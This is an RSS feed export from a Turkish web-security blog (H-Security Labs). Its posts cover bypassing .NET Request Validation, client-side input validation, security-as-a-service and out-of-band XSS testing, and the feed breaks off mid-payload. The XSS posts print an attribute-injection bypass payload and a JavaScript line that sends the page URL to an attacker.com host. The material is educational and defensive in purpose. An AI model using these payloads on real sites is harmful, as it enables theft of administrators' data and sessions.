<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>H-Security Labs</title>
	<atom:link href="http://www.h-labs.org/blog/Index.php?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.h-labs.org/blog</link>
	<description>Bilişim Güvenliği Laboratuvarları</description>
	<lastBuildDate>Tue, 02 Mar 2010 13:31:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Güvenlik Mekanizmaları ve Yazılımcılar</title>
		<link>http://www.h-labs.org/blog/?p=63</link>
		<comments>http://www.h-labs.org/blog/?p=63#comments</comments>
		<pubDate>Tue, 23 Feb 2010 22:26:53 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=63</guid>
		<description><![CDATA[Bir çok platform, bazı güvenlik zafiyetlerine mahal vermemek için güvenlik mekanizmaları sunar. PHP bunu magic_quotes ile denedi, fakat bir çok sebepten dolayı çok mantıklı bir hareket değildi ve PHP 6 ile birlikte tarihe karışıyor.

.NET platformu üzerinde de buna benzer bir çok opsiyon mevcuttur. Örneğin XSS saldırıları için Request Validation mekanizmasını geliştirmiş ve varsayılı şartlarda bu [...]]]></description>
			<content:encoded><![CDATA[<p>Bir çok platform, bazı güvenlik zafiyetlerine mahal vermemek için güvenlik mekanizmaları sunar. PHP bunu magic_quotes ile denedi, fakat bir çok sebepten dolayı çok mantıklı bir hareket değildi ve PHP 6 ile birlikte tarihe karışıyor.
</p>
<p>.NET platformu üzerinde de buna benzer bir çok opsiyon mevcuttur. Örneğin XSS saldırıları için Request Validation mekanizmasını geliştirmiş ve varsayılı şartlarda bu opsiyon aktif olarak gelmektedir. Yani .NET uygulamanız hiçbir ayar yapmaksızın bir çok XSS saldırısına karşı korunmuş durumda.
</p>
<p>Buradaki kritik nokta ise şu. Bu mekanizma bir şekilde alt edilirse, piyasadaki tüm .NET uygulamaları zafiyete maruz kalacak ve bu konuda patch çıkarmak çok basit değil. Çünkü çıkarılacak patch&#8217;i uygulamayan sistemlerde hala zafiyet olacak, çeşitli uyumluluk sorunları vs. Beraberinde gelecek. Bundan dolayı .NET Framework&#8217;de herhangi bir bug bulununca, onun giderilmesi için bir sonraki service pack ve/veya .NET sürümünü beklemelisiniz.
</p>
<p>.NET 1.1 versiyonunda bu XSS korumasını aşmanın bir yolu bulunmuştu ve .NET 2.0 çıkana kadar XSS konusunda Request Validation&#8217;a dayanan her uygulamayı exploit edebiliyordunuz.
</p>
<p>Bir diğer sorun ise kodun çalışacağı ortamdaki güvenlik opsiyonlarının bilinememesi sonucu developer&#8217;ların genellikle, zaten iki kere kod yazması gerekliliği. Örneğin PHP-MySQL uygulaması yazıyorsanız, genellikle magic_quotes bilgisini alıp kontrol edersiniz ve aktif değilse input&#8217;unuzu ilgili escape fonksiyonlarına gönderir ve sonrasında query&#8217;e dahil edersiniz. Eğer aktif ise doğrudan query&#8217;e ekleyebilirsiniz. Yani her halükarda iki durumu da handle etmeniz gerekiyor ise, zaten ilgili mekanizmanın bir faydasını görememiş oluyorsunuz.
</p>
<p>İşin diğer ve sanırım en önemli kısmı ise kullanıcıların (yani yazılımcıların) bu mekanizmaları tam anlamaması sonucu doğru şekilde kullanamamaları ve zafiyete mahal vermeleri.  Nasıl dediğinizi duyar gibiyim.
</p>
<p>Basit bir örnek vermek gerekirse, integer haneye yapılan SQL Injection ataklarında magic_quotes &#8216;in açık olması sizi korumayacaktır. Çünkü exploit edebilmek için, hiçbir tırnak kullanmanıza gerek yok. Benzer durum .NET üzerindeki XSS koruması için de geçerli. Diyelim ki XSS şöyle bir hanede olsun :
</p>
<p><span style="background-color:yellow">&lt;input type=&#8221;text&#8221; value=&#8221;&lt;?echo $_REQUEST["input"]?&gt;&#8221; /&gt;</span>
	</p>
<p>Bu durumda sizi Request Validation korumayacaktır. Zira yapılacak atak şu şekildedir:<br/><span style="background-color:yellow">&#8221; style=&#8221;x:expression(alert(1))</span>
	</p>
<p>Request Validation bu karakterlere kızmamaktadır. Request Validation konusunda daha detaylı bilgi almak için <a href="http://docs.google.com/View?id=d4w2g9c_22d5dv22gr" onclick="return TrackClick('http%3A%2F%2Fdocs.google.com%2FView%3Fid%3Dd4w2g9c_22d5dv22gr','Onur%22un+Derinlemesine+ASP.NET+%C4%B0stek+Denetimi')">Onur&#8217;un Derinlemesine ASP.NET İstek Denetimi</a> isimli yazısını okuyabilirsiniz.
</p>
<p>Sanırım konu yeterince anlaşıldı. Kısaca platformun size sağladığı güzellik her case&#8217;i handle etmiyorsa kendi kontrolünüzü kendiniz yazın. Ediyorsa da yazmayı düşünün.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=63</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WGT  Dergi ve Yazım</title>
		<link>http://www.h-labs.org/blog/?p=62</link>
		<comments>http://www.h-labs.org/blog/?p=62#comments</comments>
		<pubDate>Sun, 21 Feb 2010 15:06:27 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=62</guid>
		<description><![CDATA[WGT olarak e-dergimizin 4. Sayısını yayınladık.
	
İçerisinde benim de JSON Hijacking konusunu ele aldığım bir makalem bulunuyor.
]]></description>
			<content:encoded><![CDATA[<p><a href="http://dergi.webguvenligi.org/" onclick="return TrackClick('http%3A%2F%2Fdergi.webguvenligi.org%2F','WGT+olarak+e-dergimizin+4.+Say%C4%B1s%C4%B1n%C4%B1+yay%C4%B1nlad%C4%B1k.')">WGT olarak e-dergimizin 4. Sayısını yayınladık.</a>
	</p>
<p>İçerisinde benim de JSON Hijacking konusunu ele aldığım bir makalem bulunuyor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=62</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>‘Security As A Service’ Şeysi..</title>
		<link>http://www.h-labs.org/blog/?p=58</link>
		<comments>http://www.h-labs.org/blog/?p=58#comments</comments>
		<pubDate>Mon, 09 Nov 2009 13:59:29 +0000</pubDate>
		<dc:creator>Oykun Satış</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[SAAS]]></category>
		<category><![CDATA[Security As A Service]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=58</guid>
		<description><![CDATA[Şekilde de görüldüğü üzere içinden çıkılmaz ve anlaşılmaz bir şekilde herşeyin &#8220;As A Service&#8221; olduğu bir yöne doğru hızla ilerliyoruz. Teknolojiye yabancı olanlar için kısaca özetlemek gerekirse ihtiyacınız olan yazılıma satın almadan kiralama usulü ile sahip olma. Fakat yanılmalar olmasın bu kiralama Microsoft&#8217;un lisans kiralama mantığında değil bir subscription mantığında yapılıyor ve genellikle ihtiyacınız olan [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://geekandpoke.typepad.com/geekandpoke/images/2007/10/30/saas.jpg" alt="" width="288" height="408" />Şekilde de görüldüğü üzere içinden çıkılmaz ve anlaşılmaz bir şekilde herşeyin &#8220;As A Service&#8221; olduğu bir yöne doğru hızla ilerliyoruz. Teknolojiye yabancı olanlar için kısaca özetlemek gerekirse ihtiyacınız olan yazılıma satın almadan kiralama usulü ile sahip olma. Fakat yanılmalar olmasın bu kiralama Microsoft&#8217;un lisans kiralama mantığında değil bir subscription mantığında yapılıyor ve genellikle ihtiyacınız olan yazılıma bulut üzerinden erişiyorsunuz. Zaten en büyük avantajlarda böyle başlıyor.</p>
<p><span style="font-size:12pt"><strong><span style="font-weight: normal;">AVANTAJLARI</span><br />
</strong></span></p>
<ul>
<li>İhtiyacınız olan ürünü satın almadığınız ve kiraladığınız için fiyatlar düşüyor.<strong><br />
</strong></li>
<li>Birçok vendor yıllık,6 aylık,3 aylık ve aylık gibi sürelerde subscription sağladığı için istediğiniz zaman iptal edebiliyor ve paranızı kurtarabiliyorsunuz.<strong><br />
</strong></li>
<li>Aynı ürünün normal lisanslı versiyonunu aldığınızda muhtemel ihtiyacınız olan yazılımın kallaviyetine göre sunucu ve Windows tabanlı olduğunu düşünürsek bir de Windows Server lisansı eklenecektir.<strong><br />
</strong></li>
<li>Ürünü üretici firmanın sunucularından kullandığınız için tüm kurulum ve bakım işlemlerini üretici firma ekibi gerçekleştiriyor,böylece siz bu iş içinde bir kaynak harcamamış oluyorsunuz.<strong><br />
</strong></li>
</ul>
<p><span style="font-size:12pt"><strong><span style="font-weight: normal;">DEZAVANTAJLARI</span><br />
</strong></span></p>
<ul>
<li><span style="font-size:12pt">Genel anlamda çok bir dezavantajı bulunmamasına rağmen bazı yazılımlar ve bazı kurumlar için pek efektif çözümler olmayabiliyor.<strong><br />
</strong></span></li>
<li><span style="font-size:12pt">Yönetimsel anlamda eğer çok ince detaylar arıyorsanız muhtemelen ürünün standart lisanslı versiyonuna göre daha az kurcalayacak özellik ve daha az raporlama bulabilirsiniz.<strong><br />
</strong></span></li>
</ul>
<p><span style="font-size:12pt"><strong><span style="font-weight: normal;">Hizmet Olarak Güvenlik</span><br />
</strong></span></p>
<p>Teknolojiyi biraz tandığımıza göre güvenlik sektöründe bize neler getirir neler götürür biraz bakalım.</p>
<p>Geleceğin bu yönde gittiğini gören bazı güvenlik firmaları yaklaşık 2-3 senedir bu alanda çözüm üretiyorlar ve gün geçtikçe hizmet sayılarını arttırıyorlar. Bu konuda biraz daha temkinli davranan diğer güvenlik firmalarıda bugünlerde gelişimlerini tamamlayıp hizmetlerini sunmaya başladılar. Aslına bakarsanız bu konuda haksızda sayılmazlar çünkü güvenlik ürünleri kullanan kurumlar tüm dünyada bu konuda pekte bilinçli değil. Ama tabii ki bu konuda suçta onlarda değil. Ülkemizde bu teknolojinin gizlenme noktalarına kadar ulaştığını söyleyebilirim. Nedenide basit siz X firması olarak url filtering ürünü satıyorsanız ve bulunduğunuz dönemde firmanız bu ürünü birde servis olarak vermeye başladığında bunu aktif olarak yıllardır url filtering ürününüzü kullanan müşteriye anlatmak satış anlamında biraz zor oluyor. Çünkü bu müşteri için her yıl verdiğinden en azından %50 daha az ücret ödemek anlamına geliyor bu durumda siz firma olarakta %50 daha az ücret alıyorsunuz anlamına geliyor. Şunuda sektördeki herkes bilirki ürünün fiyatı artıkça satışın kar oranıda artar.</p>
<p>Bu nedenden dolayı müşteriler bu konudan bihaber oluyor. Fakat buna rağmen araştırmayı seven it yöneticileri yada ekibi olan kurumlar bu teknolojileri en azından denemek istiyor.</p>
<p>Güvenlik sektöründe bildiğim kadarıyla verilen hizmetler;</p>
<p><strong>Web Content Filtering(Url Filtering,Content Filtering,Malware Protection)</strong></p>
<p><strong>Mail Content Filtering(Anti-Spam Protection,Malware Protection)</strong></p>
<p><strong>Anti-Malware</strong></p>
<p>Bunları sağlayan bazı firmalar içerideki pclere iletişim için minik birer agent kurarken bazılarıda agent olmadan çalışabiliyor. Genelde Web Content Filtering çözümlerinin uygulanması,siz hizmete kayıt olduğunuzda size verilen size özel bir proxy adresini proxy ayarlarına girmeniz ile sağlanıyor. Mail Content Filtreleme sistemide mx kaydınızın yine servisi sağlayan firma tarafından size verilen bir sunucuya yönlendirilmesi ile sağlanıyor. Anti-Malware içinde bildiğim kadarıyla agentless bir yapı henüz sağlanabilmiş değil ve firma sunucuları ile iletişime geçecek bir client ihtiyacı duyuluyor. Eminimki buna yakın zamanda daha pratik bir çözüm getireceklerdir en azından active-x kullanan daha hafif bir agent ile işler hallolabilir. Bu konuda güvenlik firmalarıda oldukça tecrübesizler aslında nedenide birçoğunun bu hizmet ürünlerini sadece bu işi yapan emektar firmaları satın alarak sağladıkları ve bu yüzden kendileri ile gerçek anlamda henüz entegre edememeleri. Örnek olarak Symantec bu konuda belki de en iyi olan MessageLabs firmasını satın aldı fakat mail çözümleri konusunda  alt yapıda henüz Symantec&#8217;in kaliteli Anti-Spam çözümü Brightmail kullanılmıyor ve MessageLabs&#8217;in kendi alt yapısı kullanılıyor. Tabii ki bunlar gün geçtikçe entegre olarak daha sağlam yapılarda duracaklar. Bu arada aklıma gelmişken güvenlik tarafında bu tür çözümlerin bir artısıda dünya üzerinde başlayan örneğin bir spam saldırısının hem bulut üzerinde networkünüze bulaşmadan engellenmesi hemde bu tür ani güncellemelerden en önce faydalanabiliyor olmanız.</p>
<p>Sonuç olarak dünyanın belki çok yeni bir teknoloji olarak görmesine ve birçok kişininde pek güvenmediği bu hizmetlerin önümüzdeki yakın günlerde çok daha fazla revaçta olacağı açıkça ortada. Bu aslında tam da Microsoft&#8217;un geçtiğimiz yıllarda başlattığı Live konseptiyle uyumlu. İnternet hızlarının tüm dünya üzerinde belirli bir seviyeye ulaştığınıda kabul edersek,(Ülkemizde bile ) yakında internet üzerinden işletim sistemimizi kullanıyor olacağımız gerçeğide git gide yaklaşıyor ve güvenlik sektörü olarakta bundan nasibimizi sonuna kadar alacağımızı düşünüyorum.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=58</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WUG-SYH #1 : Javascript ile Girdi Denetimi</title>
		<link>http://www.h-labs.org/blog/?p=56</link>
		<comments>http://www.h-labs.org/blog/?p=56#comments</comments>
		<pubDate>Fri, 30 Oct 2009 21:31:59 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[girdi denetimi]]></category>
		<category><![CDATA[input validation]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[old]]></category>
		<category><![CDATA[web uygulamasi guvenligi]]></category>
		<category><![CDATA[wug-syh]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=56</guid>
		<description><![CDATA[Hepimizin bildiği üzere; girdi denetimi hem web uygulaması güvenliğinin hem de genel itibariyle güvenlik sektörünün en çok yanlış yapılan şeylerinden biri.
Bir çok web uygulamasında, girdi denetiminin (sadece) javascript ile yapıldığını görüyorum. Bunun iki sebebi olabilir.



Girdi denetimi gibi angarya işleri (!) istemci tarafında hallederek sunucu tarafında performans kazanmak



Yanlış girilen inputu hemen göstererek response zamanını düşürmek



Şimdi sadece [...]]]></description>
			<content:encoded><![CDATA[<p style="background: #fafafa"><span style="color:black; font-family:Arial">Hepimizin bildiği üzere; girdi denetimi hem web uygulaması güvenliğinin hem de genel itibariyle güvenlik sektörünün en çok yanlış yapılan şeylerinden biri.<br />
Bir çok web uygulamasında, girdi denetiminin (sadece) <em>javascript</em> ile yapıldığını görüyorum. Bunun iki sebebi olabilir.<br />
</span></p>
<ol>
<li>
<div style="background: #fafafa"><span style="color:black; font-family:Arial">Girdi denetimi gibi angarya işleri (!) istemci tarafında hallederek sunucu tarafında performans kazanmak<br />
</span></div>
</li>
<li>
<div style="background: #fafafa"><span style="color:black; font-family:Arial">Yanlış girilen inputu hemen göstererek response zamanını düşürmek<br />
</span></div>
</li>
</ol>
<p style="background: #fafafa"><span style="color:black; font-family:Arial">Şimdi sadece <em>javascript</em> (ya da herhangi bir istemci-taraflı dil) ile girdi denetimi yapıp, uygulamayı doğaya salmak beraberinde bir ton güvenlik problemi getirecektir. Atıyorum doldurduğunuz formun ad, soyad ve numara haneleri veritabanına yazılacak. Burada SQL Injection&#8217;dan haberi olan herhangi bir ortalama web uygulaması geliştiricisi,kabaca kullanıcıdan aldığı ad, soyad ve numara verilerini SQL Query&#8217;e eklemeden önce filtreleyecektir. Bu filtreleme işlemini javascirpt ile istemci tarafında yaparsa, javascript kodları çalıştıktan ve HTTP isteği browser&#8217;ınızdan çıktıktan sonra araya bir MITM saldırı proxy&#8217;si ile kolayca girilebilecek ve filtrelediğiniz veriler eski-zararlı hallerine çevirilecektir. Filtreleme yapılmış kabul ettiğiniz veriler SQL Query&#8217;e eklenecek ve sonrasında saldırganı cyber-orgazmlara gark edecektir.<br />
</span></p>
<p style="background: #fafafa"> </p>
<p style="background: #fafafa"><span style="font-family:Arial"><span style="color:black; background-color:aqua"><strong>Bonus Pack : MITM Saldırı Proxy&#8217;si Ne Demek ?</strong><br />
Herhangi bir linke tıkladığınızda ya da bir internet adresine girdiğinizde hepimizin bildiği üzere internet tarayıcınızdan, karşıdaki web sunucuya bir HTTP isteği gönderilir. Bu ikisi arasında MITM saldırı proxy&#8217;leri ile girebilir, bu yapılan istek içerisinde bulunan ; kullanıcıdan alınan parametreler, cookie ve sesion bilgileri, referer bilgilerini, yani HTTP paketinde bulunan ne varsa hepsini istediğiniz gibi değiştirebilir ya da olduğu gibi isteği iptal edebilirsiniz.</p>
<p>Piyasada kullanılan bir çok MITM saldırı proxy&#8217;si bulunuyor ve bunların başında <a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project" onclick="return TrackClick('http%3A%2F%2Fwww.owasp.org%2Findex.php%2FCategory%3AOWASP_WebScarab_Project','')" target="_blank"></a></span><span style="background-color: aqua; color: #2244bb; text-decoration: underline;">WebScarab</span><span style="color:black; background-color:aqua">, <a href="http://www.parosproxy.org/" onclick="return TrackClick('http%3A%2F%2Fwww.parosproxy.org%2F','')" target="_blank"></a></span><span style="background-color: aqua; color: #2244bb; text-decoration: underline;">Paros</span><span style="color:black; background-color:aqua"> ve <a href="http://portswigger.net/proxy/" onclick="return TrackClick('http%3A%2F%2Fportswigger.net%2Fproxy%2F','')" target="_blank"></a></span><span style="background-color: aqua; color: #2244bb; text-decoration: underline;">Burp</span><span style="color:black"><span style="background-color:aqua"> geliyor. Bunların hepsi beraberce tasarlanmışcasına  (aslında cross-platform olup hem windows hem linux desteği vermek için ) java ile yazılmışlar.</span><br />
</span></span></p>
<p style="background: #fafafa"> </p>
<p style="background: #fafafa"><span style="font-family:Arial"><span style="color:black">Yukarıda anlattığımız üzere javascript , yani istemci seviyesinde yazılmış her türlü koruma çok basit şekillerde aşılabilir.</p>
<p><strong>Peki Olması Gereken Nedir ?<br />
</strong>Eğer söz konusu sistemde performans çok kritik ise<strong><br />
</strong>javascript seviyesinde de girdi denetimi konusu gündeme getirilebilir. Dediğimiz gibi uygulamanın kullanışlılığını arttırabilir. Ama bu tek başına yukarıda belirttiğimiz üzere güvenlik açısından oldukça yetersizdir. Bundan dolayı hem javascript hem de sunucu taraflı kod (aspx ? php ? perl ? &#8230;) seviyesinde kontroller yapılmalıdır. Javascript seviyesindeki kontrolden kurtulunsa bile sunucu tarafında yapılan kontrolde zararlı veriler yakalanacaktır. Aksi durumda ise zaten javascript seviyesinde iş çözüleceği için  sunucu tarafında yapılacak iş azalacaktır.</p>
<p><strong>Olayın Psikolojik Yönü</strong><br />
Şimdi olayın teknik yanını bir tarafa bırakıp insani, ya da psikolojik yanlarından bahsedelim.<br />
Bana kalırsa web uygulaması programcılarının bu hatayı yapmalarının psikolojik ve önemli bir sebebi de yukarıda yazdığım üzere hacker motivasyonundan bihaber olmalarıdır.<br />
Zira okulda aldığım yazılım derslerinde hocalarım kullanıcıdan mümkün olduğunca az input alınması gerekliliğini vurguladılar. Bunun sebebi kullanıcının saçma sapan bir şey girmesi ve işlerin umduğunuz gibi gitmemesi sonucu programınızın <strong><em>crash</em></strong> olmasını engellemek olarak anlatıldı. Kimse güvenliğin farkında bile değildi. Herkeste olayın güvenlik boyutunun ders harici bırakılması gibi bir düşünce vardı sanırım.<br />
Yine bu konuda bir örnek vermek gerekirse, bir dönemlik C ile Programlama derslerinde en az 10 kere <em>stack overflow</em> konusu geçer. Ama bugüne kadar programın crash olması haricinde, böyle bir hatanın çok kötü şekilde sömürülebileceğini(exploit edilebileceğini) anlatan bir hocaya rastlamadım.<br />
Yani demek istediğim, bu tip saldırı konseptlerinden uzak olan developerlar genel itibariyle filtreleme işlerini &#8220;<em>kullanıcı yanlışlıkla bir şeyleri bozmasın</em>&#8221; temeline oturtuyorlar ve saldırganları düşünmüyorlar. Bundan dolayı böyle zayıf filtreleme mekanizması kullanıyorlar ve saldırganlar tarafından kolayca by-pass dilebiliyor.</p>
<p><strong>Ekstra Okuma<br />
<a href="http://blogs.msdn.com/stronglinks/archive/2007/03/31/input-validation-an-application-security-perspective.aspx*/" onclick="return TrackClick('http%3A%2F%2Fblogs.msdn.com%2Fstronglinks%2Farchive%2F2007%2F03%2F31%2Finput-validation-an-application-security-perspective.aspx%2A%2F','')" target="_blank"></a></strong></span><span style="color: #2244bb; text-decoration: underline;">Input Validation &#8211; An Application Perspective, Making Secure Applications </span><span style="color:black"><br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=56</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Uygulaması Güvenliğinde Sıkça Yapılan Hatalar</title>
		<link>http://www.h-labs.org/blog/?p=52</link>
		<comments>http://www.h-labs.org/blog/?p=52#comments</comments>
		<pubDate>Fri, 30 Oct 2009 21:25:05 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[old]]></category>
		<category><![CDATA[web uygulamasi guvenligi]]></category>
		<category><![CDATA[wug]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=52</guid>
		<description><![CDATA[Böyle bir yazı dizisi yazmaya karar verdim. Tecrübelerim el verdiğince web uygulaması güvenliğinde sıkça yapılan hataları kaleme alacağım. Muhtemelen her hafta bir tane hatadan bahsedeceğim, ve henüz bir makale indeksi / zaman çizelgesi gibi bir şey çıkarmadım. Dolayısıyla yazı dizimizin ne kadar süreceğini de kestiremiyorum şu an için.
Neleri Kapsayacak ?
Yazı dizimiz sıkça yapılan yanlışları ele [...]]]></description>
			<content:encoded><![CDATA[<p style="background: #fafafa"><span style="color:black; font-family:Arial">Böyle bir yazı dizisi yazmaya karar verdim. Tecrübelerim el verdiğince web uygulaması güvenliğinde sıkça yapılan hataları kaleme alacağım. Muhtemelen her hafta bir tane hatadan bahsedeceğim, ve henüz bir makale indeksi / zaman çizelgesi gibi bir şey çıkarmadım. Dolayısıyla yazı dizimizin ne kadar süreceğini de kestiremiyorum şu an için.</p>
<p><strong>Neleri Kapsayacak ?</strong></p>
<p>Yazı dizimiz sıkça yapılan yanlışları ele aldığı için zaman zaman çok klasik şeyleri konuşacağız. Kimi zaman ise garip durumları anlatacağım. Konumuz web uygulaması güvenliği olduğu için genel itibariyle girdi denetimi çevresinde dolaşıyor olsak da bunun yanında sistem seviyesinde yapılan hatalardan, felsefi yanlışlardan ve daha bir çok şeyden bahsedeceğim.</p>
<p>Ayrıca belirtmem gereken bir nokta daha var ki, OWASP-TOP 10 gibi bir şey değil, yani XSS web uygulaması güvenliğinde en sık yapılan hatadır şöyledir böyledir diye anlatmayacağım. Daha spesifik ve bir çok yerde karşılaştığım şeylerden bahsedeceğim.</p>
<p><strong>Detay</strong></p>
<p>Genellikle detaylarıyla ve alt seviyeden anlatmaya çalışacağım. Sık yapılan hatalar olduklarına göre çoğunluğun bu noktalarda problemi var ve anlatım itibariyle bilgi seviyesi anlamında ilgili herkesi kapsamaya çalışacağım.</p>
<p><strong>Tarz</strong></p>
<p>Problmleri bahsederken enel itibariyle subjektif olacak. Yani atıyorum  &#8220;sunucu taraflı kod&#8221; değil de &#8220;asp.net&#8221; diyeceğim. Çünkü genel durumlardan değil sık yapılan spesifik yanlışlardan bahsediyoruz, ondan dolayı en yaygın hali ile yazacağım. Haricinde yazıların içeriğinde ise tabii ki daha objektif kavramlar kullanacağım.</p>
<p><strong>Uzunluk</strong></p>
<p>Kimi yazılar uzun uzadıya gidecek ve &#8220;makale&#8221; tagini yakalayacak. Haricinde kimilerinde ise problem şudur, yapmayın böyle şeyler diyip 10 satırda bitireceğim.</p>
<p><strong>Format, Site İşleri vs </strong></p>
<p>Yazı dizisi için kullanacağım başlık notasyonu <strong>WUG-SYH # </strong><em>Sıra</em> : <em>Konu Adı</em> şeklinde olacak. Başlık tercihi konusunda &#8220;Sıkça Yapılan Hatalar&#8221; ile &#8220;Sıkça Yapılan Yanlışlar&#8221; arasında kaldım ilk etapta. Sonra yaptığım google araması sonucu bu ismin yaygın olarak kullanıldığını görüp kararımı verdim.İlgili makalelerin blog içinde takibinin kolay olması açısından wug-syh şeklinde tag vereceğim. Hatta sağ tarafta bir <strong>WUG-SYH</strong> bölümü bile açılabilir!</p>
<p>Neyse, geyik çevirmeyi bırakıp aksiyona geçelim!<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=52</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OoB Channel XSS Testing</title>
		<link>http://www.h-labs.org/blog/?p=47</link>
		<comments>http://www.h-labs.org/blog/?p=47#comments</comments>
		<pubDate>Wed, 21 Oct 2009 15:56:32 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[english]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[old]]></category>
		<category><![CDATA[oob]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=47</guid>
		<description><![CDATA[Out-of-Band attacks are widely known and have been using for exploiting SQL Injection vulnerabilities. The main point is making a HTTP/DNS/etc request with containing sensitive data to the server that has been controlling by the attacker via the vulnerable channel.

Basic Info

When we need OoB Channels to check XSS?

For SQL Injection attacks, they can be very [...]]]></description>
			<content:encoded><![CDATA[<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">Out-of-Band attacks are widely known and have been using for exploiting SQL Injection vulnerabilities. The main point is making a HTTP/DNS/etc request with containing sensitive data to the server that has been controlling by the attacker via the vulnerable channel.<br />
</span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: red; font-size: 12pt;">Basic Info</span><span style="color: black;"><br />
</span></span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">When we need OoB Channels to check XSS?<br />
</span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: black;">For SQL Injection attacks, they can be very useful for <a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/" onclick="return TrackClick('http%3A%2F%2Fferruh.mavituna.com%2Fsql-injection-cheatsheet-oku%2F','')" target="_blank"></a></span><span style="color: #2244bb; text-decoration: underline;">totally-blind SQL Injections</span><span style="color: black;">. Because there isn&#8217;t any error message or any kind of difference at output.<br />
</span></span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">Also If we don&#8217;t have permission to see the XSS vulnerable script, it can be classified as blind XSS vulnerability.<br />
</span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">Many of blog / portal softwares stores some portions of HTTP header such as HTTP_REFERER ,USER_AGENT and HTTP_X_FORWARDED_FOR for informational purposes.Also they show these information from their administrative panels.<br />
</span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: red; font-size: 12pt;">The Problem</span><span style="color: black;"><br />
</span></span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">From an attacker&#8217;s perspective, there is a big problem if no input sanitization were made because these sections of HTTP header can be manipulated and also can be used for attack purposes such as:<br />
</span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">1) SQL Injection :This can occur at storing these data to the database server.<br />
</span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">2) XSS : This can occur when administrator looks for Referers or User-Agent statistics.<br />
</span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">In this situtation, SQL Injection may be realized but XSS can&#8217;t be tested because, only administrator can see the working of attack. So, basic XSS testing method- &#8220;<em>&lt;script&gt;alert(1)&lt;/script&gt;</em>&#8221; &#8211; can not be used to test this kind of XSS vulnerabilities.<br />
</span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">This attack will be very critical because XSS attack will be performed against the administrator.<br />
</span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: red; font-size: 12pt;">Exploiting Phase</span><span style="color: black;"><br />
</span></span></p>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">To perform the attack, you must fill the HTTP_REFERER and USER-AGENT with the attack payload and wait for HTTP/DNS/etc requests.<br />
</span></p>
<div>
<table style="border-collapse: collapse;" border="0">
<colgroup span="1">
<col style="width: 73px;" span="1"></col>
<col style="width: 455px;" span="1"></col>
</colgroup>
<tbody>
<tr>
<td style="padding: 2px;" colspan="2" valign="middle">
<p style="text-align: center;"><span style="color: black; font-family: Arial;"><strong>HTTP-channel javascript payload</strong></span></p>
</td>
<td style="padding: 2px;"><span style="color: black; font-family: Arial;">i=new image();<br />
i.src=&#8217;http://www.attacker.com/xss.php?data=&#8217;+windows.location.href;</span></td>
</tr>
<tr>
<td style="padding: 2px;" colspan="2" valign="middle">
<p style="text-align: center;"><span style="color: black; font-family: Arial;"><strong>DNS-channel javascript payload</strong></span></p>
</td>
<td style="padding: 2px;"><span style="color: black; font-family: Arial;">var i = new Image();<br />
var x = location.href;<br />
